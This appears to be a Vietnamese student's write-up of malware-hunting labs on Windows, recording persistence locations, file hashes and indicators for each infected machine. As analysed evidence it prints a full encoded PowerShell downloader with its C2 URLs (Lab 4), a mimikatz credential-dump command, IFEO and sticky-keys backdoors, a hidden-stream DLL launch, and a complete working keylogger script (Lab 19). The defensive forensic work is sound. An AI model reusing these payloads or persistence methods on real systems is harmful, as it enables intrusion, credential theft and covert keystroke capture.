# Lab 1
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- TCPView
## Scanning
### System.exe
Sử dụng System Informer thì không thấy process nào lạ được khởi động cùng với hệ thống
Sử dụng AutoRuns ta sẽ thấy một shortcut không được verify signature

Cũng có thể thấy khi khởi động lại máy pop-up về file này

Truy dẫn vào path ta còn thấy được 3 file khác nữa

Sử dụng VirusTotal thấy được có 2 file là mã độc



Kiểm tra có kết nối ra không bằng cách chạy file thì không phát hiện có kết nối ra ngoài
Ảnh dưới là PID của process hệ thống, không có PID của mã độc


PID của mã độc

:::danger
Hash file 1: e8de294f775ac77e8fa64738093d71f39bf7d97062d85483cbb8a820d9f589d7
File Path: C:\Users\hunter\AppData\Roaming\ELP84P
Persistent Type: Registry
Persistent Location: HKCU\Software\Microsoft\Windows NT\CurrentVersion\Load
IPs: N/A
Sub-process & Service: N/A
Command-line: `System.exe -launcher`
Hash file 2: 27619c8791061734edfffb39f626cd52b945ada3cd263531d3e6f918aa10ac7a
File Path: C:\Users\hunter\AppData\Roaming\ELP84P
Persistent Type: Registry
Persistent Location: N/A
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 2
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- TCPView
- Process Hacker
- Listdlls
## Scanning
### hidservs.dll
Sử dụng System Informer thì không thấy process nào lạ được khởi động cùng với hệ thống
Sử dụng AutoRuns ta thấy một service không được verify signature

Truy dẫn vào path ta còn thấy được 2 file chỉ khác nhau chữ `s` ở tên file, có thể attacker lợi dụng việc đặt tên để ngụy trang file hệ thống

Process cha của nó là từ `svchost.exe`, đây là process hệ thống, nó đã bị lợi dụng để load dll

Kiểm tra bằng `Listdlls` xem `svchost.exe` có load thêm dll nào lạ nữa không

Kiểm tra trên VirusTotal và kết luận đây cũng là một dll độc

:::danger
Hash file 1: 01f7939b22a19993d60fb22be8236f6b
File Path: C:\Windows\SysWOW64
Persistent Type: Service
Persistent Location: HKLM\System\CurrentControlSet\Service
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
Hash file 2: 63a509b3c88b2c00c6c067b846b3d33f
File Path: C:\Windows\SysWOW64
Persistent Type: Service
Persistent Location: HKLM\System\CurrentControlSet\Service
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 3
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- TCPView
- Process Hacker
## Scanning
### main_background.png
Sử dụng System Informer thì không thấy process nào lạ được khởi động cùng với hệ thống
Sử dụng AutoRuns ta thấy một process không được verify signature đang được set ở Task Scheduler

Dù đuôi file hiển thị trên hệ thống nạn nhân là file ảnh nhưng thực chất nó là file PE


Sử dụng VirusTotal và kết luận được nó là mã độc

Chạy trực tiếp để phân tích hành vi nhưng nó là file 64bit nên có vẻ nó không thể thực thi trên hệ thống 32-bit

Cũng có thể thấy được Task Scheduler trả về lỗi này

:::danger
Hash file : 5f7f60e9fcc992794feb2d6e9908d1c3
File Path: C:\Users\hunter\AppData\Roaming
Persistent Type: Task Scheduler
Persistent Location: \Microsoft\Windows\Multimedia\SystemSoundsService
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 4
## Tools use
- AutoRuns
- VirusTotal
- CyberChef
- PowerDecode
## Scanning
### Task Scheduler
Sử dụng AutoRuns và phát hiện ở Task Scheduler một lệnh đang được cài vào chạy theo lịch cứ 1h35 chạy một lần


Payload đã được attacker obfuscate, tuy nhiên khi nhìn vào ta có thể dễ dàng decode trên CyberChef như sau
```
') -> null
')+' -> null
')+(' -> null
'+' -> null
'+(' -> null
(' -> null
` -> null
/* -> space
```

Để trông dễ nhìn hơn

Từ đây ta có danh sách domain mà payload thực hiện tải file về
```
https://dadieroque.com/wp-admin/dg
https://sulselekspres.com/cgi-bin/6l0nyO
https://maulanarumifoundation.com/RumiFoundation/Q9etF
https://kelas.yec.co.id/srjns/B
http://caesarmoving.com/wp-content/9s
https://kinepremins.cl/wp-admin/6wr
http://dolphininsight.it/wp-includes/LVf/.
```
Để chắc chắn hơn, sử dụng VirusTotal và kết luận được đây chính là danh sách C2 mà attacker sử dụng


Có vẻ như C2 đều đã chết nên mã độc không được tải về



:::danger
Hash file : N/A
File Path: N/A
Persistent Type: Task Scheduler
Persistent Location: N/A
IPs:
`dadieroque.com`
`sulselekspres.com`
`maulanarumifoundation.com`
`kelas.yec.co.id`
`caesarmoving.com`
`kinepremins.cl`
`dolphininsight.it`
Sub-process & Service: N/A
Command-line:
:::spoiler Command-line
/C STARt /B powershell -NonInteractive -WindowStyle Hidden -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQAaQByAGUAYwBUAG8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAcgBJAFQAYABZAHAAUgBPAFQAbwBDAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAnACsAJwAxADIAJwArACgAJwAsACAAJwArACcAdAAnACsAJwBsAHMAMQAxACwAIAB0ACcAKQArACcAbABzACcAKQA7ACQATwBkAGQAeABxAGcAcAAgAD0AIAAoACcATwAxACcAKwAoACcAagAnACsAJwBwADAAagAnACkAKQA7ACQAUQBqAHkAXwBwAGkAagA9ACgAKAAnAFgAMwAnACsAJwA5AHMAJwApACsAKAAnADAAJwArACcAdgAyACcAKQApADsAJABIAGwAdAB0AGUAYwBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQB3ACcAKwAnAG8AcgBkAHsAMAAnACsAJwB9ADIAMAAnACsAJwAxADkAewAwACcAKwAnAH0AJwApACAAIAAtAGYAIABbAGMAaABhAFIAXQA5ADIAKQArACQATwBkAGQAeABxAGcAcAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEYAMAA1AF8AawAzAGUAPQAoACcASwBiACcAKwAnAGMAJwArACgAJwBiACcAKwAnADEAOQBfACcAKQApADsAJABXAGsAZQB0ADEAcwA0AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMATABJAGUAbgB0ADsAJABTAG0AeQB0AHQAbAA3AD0AKAAoACcAaAAnACsAJwB0AHQAcABzADoAJwApACsAKAAnAC8ALwBkAGEAZAAnACsAJwBpAGUAcgAnACsAJwBvACcAKwAnAHEAdQBlAC4AYwBvAG0AJwApACsAJwAvACcAKwAnAHcAcAAnACsAJwAtAGEAJwArACgAJwBkAG0AaQAnACsAJwBuACcAKQArACcALwAnACsAKAAnAGQAJwArACcAZwAnACsAJwAvACoAaAB0ACcAKQArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwAnACkAKwAnAHMAJwArACgAJwB1AGwAJwArACcAcwBlACcAKQArACgAJwBsACcAKwAnAGUAJwArACcAawAnACsAJwBzAHAAcgBlAHMALgBjAG8AbQAvAGMAZwBpAC0AJwArACcAYgBpACcAKQArACgAJwBuAC8AJwArACcANgBsACcAKQArACcAMABuACcAKwAoACcAeQAnACsAJwBPAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcABzACcAKwAnADoALwAnACsAJwAvAG0AJwApACsAJwBhACcAKwAoACcAdQAnACsAJwBsAGEAbgAnACkAKwAoACcAYQByACcAKwAnAHUAJwApACsAKAAnAG0AJwArACcAaQBmAG8AdQBuAGQAJwArACcAYQB0AGkAbwBuACcAKwAnAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AUgAnACsAJwB1AG0AaQBGACcAKwAnAG8AdQBuACcAKwAnAGQAYQAnACkAKwAoACcAdABpACcAKwAnAG8AJwApACsAKAAnAG4AJwArACcALwBRADkAZQB0AEYAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnAHMAJwApACsAKAAnADoALwAvAGsAZQBsACcAKwAnAGEAcwAuAHkAZQAnACsAJwBjAC4AJwApACsAKAAnAGMAJwArACcAbwAuAGkAZAAnACkAKwAoACcALwBzACcAKwAnAHIAJwApACsAJwBqAG4AJwArACgAJwBzAC8AQgAvACoAJwArACcAaAAnACsAJwB0AHQAcAA6AC8ALwBjAGEAJwArACcAZQBzACcAKwAnAGEAJwArACcAcgBtAG8AJwApACsAJwB2AGkAJwArACcAbgBnACcAKwAnAC4AJwArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGMAbwBuAHQAZQBuAHQAJwArACcALwAnACkAKwAnADkAJwArACcAcwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAOgAnACsAJwAvAC8AawBpACcAKwAnAG4AZQBwAHIAJwArACcAZQBtAGkAbgAnACsAJwBzACcAKQArACgAJwAuAGMAJwArACcAbAAvAHcAJwApACsAKAAnAHAAJwArACcALQBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwA2AHcAcgAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBkAG8AJwApACsAJwBsACcAKwAoACcAcABoACcAKwAnAGkAJwApACsAKAAnAG4AaQBuACcAKwAnAHMAaQBnACcAKwAnAGgAdAAnACsAJwAuACcAKwAnAGkAdAAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAJwApACsAJwBkACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC8ATABWACcAKQArACcAZgAvACcAKQAuACIAUwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGcAeAB6ADIAYwA5AD0AKAAoACcASAAnACsAJwAyAG8AZgAnACkAKwAoACcANAAnACsAJwB4AGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABDAGcAYwB0AHQANgAxACAAaQBuACAAJABTAG0AeQB0AHQAbAA3ACkAewB0AHIAeQB7ACQAVwBrAGUAdAAxAHMANAAuACIAZABgAE8AVwBuAGwAYABvAGEARABgAEYAaQBMAEUAIgAoACQAQwBnAGMAdAB0ADYAMQAsACAAJABIAGwAdAB0AGUAYwBjACkAOwAkAFYAMgBhAHIAZgBrAGUAPQAoACcARAAnACsAKAAnAG8AdgAnACsAJwBuAGYAaABvACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEgAbAB0AHQAZQBjAGMAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADkAOAA1ADAAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQASABsAHQAdABlAGMAYwApADsAJABUADIANAAwAGMAaQBnAD0AKAAnAEkAJwArACgAJwB6ACcAKwAnAHUAbwAnACkAKwAoACcAMAAnACsAJwByADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFEAaQAwADgAdABiAHIAPQAoACgAJwBUAHUAJwArACcAbgAnACkAKwAnAHIAJwArACgAJwB1AG4AJwArACcAZAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwBuAGMAOABsAHMAMwA9ACgAJwBXAHEAJwArACgAJwA1AHcAdQByACcAKwAnAGcAJwApACkA
:::
# Lab 5
## Tools use
- AutoRuns
- VirusTotal
- Everything
## Scanning
### OIS.exe
Sử dụng AutoRuns ta thấy có Registry đang được sử dụng mỗi khi có user logon vào hệ thống
> HKCU\Environment\UserInitMprLogonScript là một registry key trong Windows có chức năng chạy một script hoặc process cụ thể mỗi khi user logon vào Windows

Nhìn sơ qua command toàn cũng có thể nghi ngờ đến việc process này liên quan đến mimikatz bởi các keyword `privilege::debug`, `sekurlsa::logonpasswords`
Sử dụng Everything thì thấy trên hệ thống có 2 file `OIS.exe`

Khi check hash trên VirusTotal, file nằm tại `C:\Program Files (x86)\Microsoft Office\Office14` là file sạch
> OIS.exe (Office Imaging Software) là một ứng dụng chỉnh sửa ảnh đơn giản đi kèm với các phiên bản Office 2003, 2007, 2010, đây là ứng dụng cũ

File còn lại nằm tại `C:\Windows\System32` là file độc hại, đồng thời ta thấy được nó đã được gắn tag `mimikatz` đúng như dự đoán

:::danger
Hash file : ea0f88f11825045830bdba823daa28e5
File Path: C:\Windows\System32
Persistent Type: Registry
Persistent Location: HKCU\Enviroment\UserInitMprLogonScript
IPs: N/A
Sub-process & Service: N/A
Command-line: `cmd.exe /C "OIS.EXE" log privilege::debug sekurlsa::logonpasswords exit`
:::
# Lab 6
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- TCPView
- Process Hacker
## Scanning
### trnsrun.exe
Sử dụng AutoRuns ta thấy một service không được verify signature đang khởi chạy

Vì nằm ở `HKLM\System\CurrentControlSet\Services`, nó sẽ tự động khởi động service khi máy boot. System Informer khi chạy đã thấy file này xuất hiện

Sử dụng VirusTotal và kết luận được nó là mã độc

:::danger
Hash file : e18866b8b797ac8be6e64f53b6e08d3c
File Path: C:\Windows\SysWOW64
Persistent Type: Services
Persistent Location: HKLM\System\CurrentControlSet\Services
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 7
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- Process Hacker
- Procmon
## Scanning
Sử dụng AutoRuns ta thấy một dll không được verify signature đang khởi chạy

Mã độc được cài cắm ở `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows `, nó là một cơ chế của Windows cho phép tự động load các dll vào mọi process sử dụng `user32.dll`
> Gần như mọi ứng dụng có GUI đều load user32.dll
Ảnh dưới đây là một ví dụ cho thấy chỉ cần mở firefox thì dll này cũng được load

Sử dụng VirusTotal và kết luận được nó là mã độc

:::danger
Hash file : 064290b199b02248ddf818b4579ade65
File Path: C:\Users\Gee\AppData\Roaming\Microsoft\Windows
Persistent Type: AppInit_DLLs
Persistent Location: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 8
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- Process Hacker
- Procmon
## Scanning
Sử dụng AutoRuns ta thấy một dll không được verify signature đang khởi chạy
:::danger
Hash file : 064290b199b02248ddf818b4579ade65
File Path: C:\Users\Gee\AppData\Roaming\Microsoft\Windows
Persistent Type: AppInit_DLLs
Persistent Location: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 9
## Tools use
- AutoRuns
- VirusTotal
- System Informer
- Process Hacker
- TCPView
## Scanning
### McAfee.exe
Sử dụng AutoRuns ta thấy có process `McAfee.exe` đang được chạy nằm ở service, mặc dù đã được verify nhưng có trường hợp một process sạch load dll độc

Do đó ta sẽ xem `McAfee.exe` load những dll nào

Windows còn ẩn các tệp hệ thống được bảo vệ (protected operating system files) — và các phần mềm bảo mật như McAfee rất hay dùng cách này để bảo vệ dữ liệu tránh bị xóa hoặc chỉnh sửa. Để hiện các file này, config như sau

Thư mục sau khi config

Sử dụng VirusTotal và kết luận được nó là mã độc


Khởi chạy `McAfee.exe` này một lần nữa, ta thấy được process `svchost.exe` được khởi tạo, process cha của nó được gọi từ folder `McAfee`

Sử dụng TCPView, ta thấy `svchost.exe` đang cố gắng liên tục gửi kết nối sang các địa chỉ của máy khác trong cùng mạng LAN

:::danger
Hash file 1: fe6f322a0c3e25947988d6fad92637b2
File Path: C:\ProgramData\McAfee
Persistent Type: N/A
Persistent Location: N/A
IPs: Tạo kết nối đến thiết bị trong cùng LAN
Sub-process & Service: N/A
Command-line: N/A
Hash file 2: 402a04ce4f1ebda0e8e9447b1fb7a4ee
File Path: C:\ProgramData\McAfee
Persistent Type: N/A
Persistent Location: N/A
IPs: Tạo kết nối đến thiết bị trong cùng LAN
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 10
## Tools use
- VirusTotal
- regedit
- AutoRuns
## Scanning
### config.dll
Sử dụng AutoRuns ta thấy có process `vds.exe` đang được chạy nằm ở 2 registry thường được attacker nhắm đến

> `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` và `HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` là registry khi thêm một khóa tên là `<process>.exe` vào và đặt giá trị `debugger`, thì bất cứ khi nào process đó được chạy, Windows sẽ chạy chương trình gỡ lỗi thay thế. Ví dụ như này:
> ```[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe] "debugger"="calc.exe"```. Khi người dùng chạy `notepad.exe`, Windows sẽ chạy `calc.exe` thay vì Notepad
Tương tự khi check `regedit` ở hệ thống

Câu value mà khóa này được gán như sau
```
rundll32.exe c:\windows\system32\config:conf.dll,inst
```
Đang là một kỹ thuật ẩn file bằng NTFS ADS, dùng lệnh `dir` hoặc `Everything` cũng không thể tìm thấy file này


Tuy nhiên ta vẫn có cách để file này xuất hiện
```
dir /R C:\Windows\System32\config
```

Ta sẽ dùng lệnh ps để lấy được file này ra
```
# Đọc nội dung stream "conf.dll" dạng nhị phân
$ads = Get-Content -Path "C:\Windows\System32\config" -Stream "conf.dll" -Encoding Byte
# Ghi ra file DLL
[IO.File]::WriteAllBytes("C:\Users\Gee\Desktop\conf_extracted.dll", $ads)
```
Sử dụng VirusTotal và kết luận được nó là mã độc

:::danger
Hash file : 76b90918d0fac43021a8e4ec9643522a
File Path: C:\Windows\System32\config
Persistent Type: Debugging
Persistent Location:
`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`
`HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`
IPs: N/A
Sub-process & Service: N/A
Command-line: `rundll32.exe c:\windows\system32\config:conf.dll,inst`
:::
# Lab 11
## Tools use
- VirusTotal
- AutoRuns
- regedit
## Scanning
### sethc.exe
Bài lab này tiếp tục có vấn đề ở path `Image File Execution Options`. Sử dụng AutoRuns ta sẽ thấy:

Attacker đã lợi dụng gán debugger cho `sethc.exe` với giá trị `cmd.exe`, nhấn Shift 5 lần sẽ mở `cmd.exe` với quyền SYSTEM


> sethc.exe là viết tắt của "Sticky Keys", là một công cụ trợ năng (Accessibility Tool) tích hợp sẵn trong hệ điều hành Windows. Nó cho phép người dùng nhấn các phím Shift, Ctrl, Alt, hoặc Windows một lần thay vì phải giữ phím, hỗ trợ những người gặp khó khăn khi sử dụng bàn phím. Khi nhấn Shift 5 lần liên tục sẽ chạy file này
:::danger
Hash file : N/A
File Path: C:\Windows\system32\cmd.exe
Persistent Type: Privilege escalation
Persistent Location: `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 12
## Tools use
- VirusTotal
- AutoRuns
- regedit
## Scanning
### NPIlium.dll
Khi vừa login vào hệ thống ta thấy lỗi

Kiểm tra AutoRuns ta thấy dll mà gây ra lỗi cũng xuất hiện đồng thời nó cũng không được verify

Sử dụng VirusTotal để kiểm tra, tuy nhiên nó cũng không hẳn là xác nhận được đây là mã độc

Ở tab `Community` xuất hiện mooth bài phân tích về loại khai thác sử dụng dll này. [Bài viết tại đây](https://www.giac.org/paper/gcih/117/microsoft-network-provider-exploit/101145)

Sơ qua bài viết thì `mpnotify.exe` bị lợi dụng và load `NPIlium.dll`. Mỗi lần user login hoặc đổi mật khẩu, Windows gọi các hàm `NPLogonNotify` / `NPPasswordChangeNotify` do DLL này export. `npilium.dll` ghi lại Domain – UserName – Password rồi sau đó ghi vào log (c:\np.log) và gửi ra bên ngoài bằng SMTP (smtprelay@hacked.com) với người nhận là `hacker@hack.com`

:::danger
Hash file : da50bc48fd7c65b8bf689f81c5911a08
File Path: C:\Windows\System32
Persistent Type: Network Provider
Persistent Location: /HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
IPs: smtprelay@hacked.com (SMTP)
Recipient: hacker@hack.com
Domain: hacked.com
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 13
## Tools use
- VirusTotal
- ListDlls
- AutoRuns
## Scanning
### TmDbgLog.dll
Sử dụng AutoRuns ta thấy một process tuy sạch nhưng khả năng nó đang load một dll độc


Do đó ta sẽ kiểm tra nó có load dll độc hại nào không bằng `ListDlls`
```
listdlls -u lsm
-u kiểm tra xem có dll nào không được verify không
```

Sử dụng VirusTotal và kết luận được nó là mã độc

:::danger
Hash file : 35c9e807945a6b4bc31d3b82074fc3d1
File Path: C:\Program Files\PRTG Network Monitor
Persistent Type: Run
Persistent Location: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 14
## Tools use
- VirusTotal
- Autoruns
## Scanning
### QcLite.dll
Sử dụng AutoRuns phát hiện file `qcconsol.exe` đang được chạy

Cũng giống bài [lab 9](#Lab-9) mặc dù verify nhưng có thể nó đã load dll độc
Sử dụng `Listdlls` không thấy nó load dll nào độc. Tuy nhiên khi dùng google phát hiện bài viết phân tích file này bị lợi dụng


Kiểm tra dll này có tồn tại trên hệ thống không

Để chắc ăn, check lại VirusTotal và kết luận đây là mã độc đang tồn tại trên hệ thống

:::danger
Hash file : 1b19175c41b9a9881b23b4382cc5935f
File Path: C:\Windows
Persistent Type: Run
Persistent Location: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
IPs: N/A
Sub-process & Service: N/A
Command-line: `C:\Windows\QcConsol.exe -LowIntegrityServer`
:::
# Lab 16
## Tools use
- VirusTotal
- Procmon
- AutoRuns
## Scanning
### UDOKK.exe
Sử dụng AutoRuns phát hiện ở Task Scheduler đang được lập lịch một process lạ

Sử dụng VirusTotal và kết luận nó là mã độc

Sử dụng Procmon thấy nó tạo ra process tên là `InstallUtil.exe`, tuy nó là process hợp pháp nhưng nó lại là một LOLBIN
> LOLBIN tức là công cụ hợp pháp trong hệ thống Windows nhưng có thể bị attacker lợi dụng để thực thi mã độc mà không bị phát hiện


Ngoài ra khi kiểm tra webserver ta phát một webshell
> webserver sẽ có webroot ở C:\inetpub\wwwroot

Kiểm tra VirusTotal và xác nhận đó là webshell

:::danger
Hash file 1: b82f68541b3159fe4e8bfd490fabc5f4
File Path: C:\Users\Public
Persistent Type: Task Scheduler
Persistent Location: \Microsoft\Windows\Microsoft Windows Defender
IPs: N/A
Sub-process & Service: InstallUtil.exe
Command-line: N/A
Hash file 2: 57dde70933fc8511c8b015276a013fb8
File Path: C:\inetpub\wwwroot\ComicBookGallery\Scripts
Persistent Type: Webshell
Persistent Location: C:\inetpub\wwwroot\
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 17
## Tools use
- VirusTotal
- AutoRuns
## Scanning
### mimilib.dll
Sử dụng AutoRuns phát hiện ở LSA Provider đang được load dll của mimikatz, đây là công cụ khai thác cơ chế xác thực của Windows. Tác giả Mimikatz là Benjamin Delpy có thể tự ký phần mềm bằng một chứng chỉ hợp lệ để tránh bị flag bởi AV/quy trình bảo mật do đó dll này không bị không verify

Lý do nữa khiến nó nguy hiểm hơn là nằm ở `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages`, dll `mimilib.dll` sẽ được LSASS nạp vào mỗi lần khởi động, cho phép thu thập thông tin xác thực.

Khi jump image ta còn thấy file `mimikatz` nằm sẵn ở system32 luôn

:::danger
Hash file : c09b6fab1a9b1f04642e195a661ff4be
File Path: C:\Windows\System32
Persistent Type: LSA Provider
Persistent Location: \HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 18
## Tools use
- VirusTotal
- Listdlls
- AutoRuns
## Scanning
### NvSmartMax.dll
Sử dụng AutoRuns phát hiện ở Task Scheduler đang được lập lịch process NVIDIA

Chạy và check xem nó có đang load dll nào chưa được verify không

Load lên VirusTotal và kết luận đây là mã độc

Tuy nhiên, khi kiểm tra thư mục ta còn phát hiện thêm 1 file dll cũng đã bị đổi tên và extension để thực hiện hành vi độc hại


Ngoài ra khi kiểm tra webserver ta phát một webshell
> webserver sẽ có webroot ở C:\inetpub\wwwroot

Load lên VirusTotal và kết luận đây là webshell

:::danger
Hash file 1: f059f92e83c598d29b63a95ed00e6488
File Path: C:\Windows\apppatch
Persistent Type: Task Scheduler
Persistent Location: \Microsoft\Windows\NVIDIA Helper
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
Hash file 2: 09b8b54f78a10c435cd319070aa13c28
File Path: C:\Windows\apppatch
Persistent Type: Task Scheduler
Persistent Location: \Microsoft\Windows\NVIDIA Helper
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
Hash file 3: 19afd572720b56cada666600945a4b75
File Path: C:\inetpub\wwwroot\MyCountries.Web\Views\Templates
Persistent Type: Webshell
Persistent Location: C:\inetpub
IPs: N/A
Sub-process & Service: N/A
Command-line: N/A
:::
# Lab 19
## Tools use
- VirusTotal
- Cyberchef
- AutoRuns
## Scanning
### Powershell command
Sử dụng AutoRuns phát hiện ở Task Scheduler đang được lập lịch một powershell và kèm theo là payload bị encode


Sử dụng Cyberchef và dcode b64 + remove null byte ta có command mà attacker dùng
:::spoiler Command ps
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
#Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
# notepad $Path
}
}
# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger
:::
Tóm lại thì command đang tạo ra một keylogger, ghi lại mọi phím bấm của người dùng và lưu vào `temp\logfile.txt`


Ngoài ra khi kiểm tra webserver ta phát một webshell
> webserver sẽ có webroot ở C:\inetpub\wwwroot

Kiểm tra VirusTotal và xác nhận đó là webshell

:::danger
Hash file 1: N/A
File Path: C:\Users\hunter\AppData\Local\Temp
Persistent Type: Task Scheduler
Persistent Location: \Microsoft\Windows\Window Events
IPs: N/A
Sub-process & Service: N/A
Command-line:
:::spoiler Command ps
```
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\logfile.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# load signatures and make members available
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
# create output file
$null = New-Item -Path $Path -ItemType File -Force
try
{
#Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40
# scan all ASCII codes above 8
for ($ascii = 9; $ascii -le 254; $ascii++) {
# get current key state
$state = $API::GetAsyncKeyState($ascii)
# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock
# translate scan code to real code
$virtualKey = $API::MapVirtualKey($ascii, 3)
# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)
# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder
# translate virtual key
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
